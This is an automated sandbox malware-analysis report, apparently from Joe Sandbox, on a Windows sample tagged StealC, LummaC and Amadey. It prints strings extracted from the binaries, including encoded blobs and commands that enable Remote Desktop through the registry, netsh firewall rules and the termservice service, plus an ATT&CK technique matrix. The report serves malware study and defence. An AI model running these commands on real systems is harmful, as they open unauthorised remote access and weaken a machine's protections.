bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe.4.dr	String found in binary or memory: net start termservice
Source: rapes.exe.4.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe.0.dr	String found in binary or memory: net start termservice
Source: NKJ797NQF61QBFM5Y63P3Y.exe.0.dr	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C580C40 sqlite3_bind_zeroblob,	7_2_6C580C40
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C580D60 sqlite3_bind_parameter_name,	7_2_6C580D60
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A8EA0 sqlite3_clear_bindings,	7_2_6C4A8EA0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C580B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	7_2_6C580B40
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A6410 bind,WSAGetLastError,	7_2_6C4A6410
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4AC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	7_2_6C4AC050
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A6070 PR_Listen,	7_2_6C4A6070
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4AC030 sqlite3_bind_parameter_count,	7_2_6C4AC030
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A60B0 listen,WSAGetLastError,	7_2_6C4A60B0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4322D0 sqlite3_bind_blob,	7_2_6C4322D0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A63C0 PR_Bind,	7_2_6C4A63C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A9400 sqlite3_bind_int64,	7_2_6C4A9400
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A94C0 sqlite3_bind_text,	7_2_6C4A94C0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A94F0 sqlite3_bind_text16,	7_2_6C4A94F0
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Code function: 7_2_6C4A9480 sqlite3_bind_null,	7_2_6C4A9480

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	12 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	212 Process Injection	31 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	258 System Information Discovery	Distributed Component Object Model	1 Email Collection	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	971 Security Software Discovery	VNC	GUI Input Capture	115 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	461 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	461 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Anv6Gbh51e.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Anv6Gbh51e.exe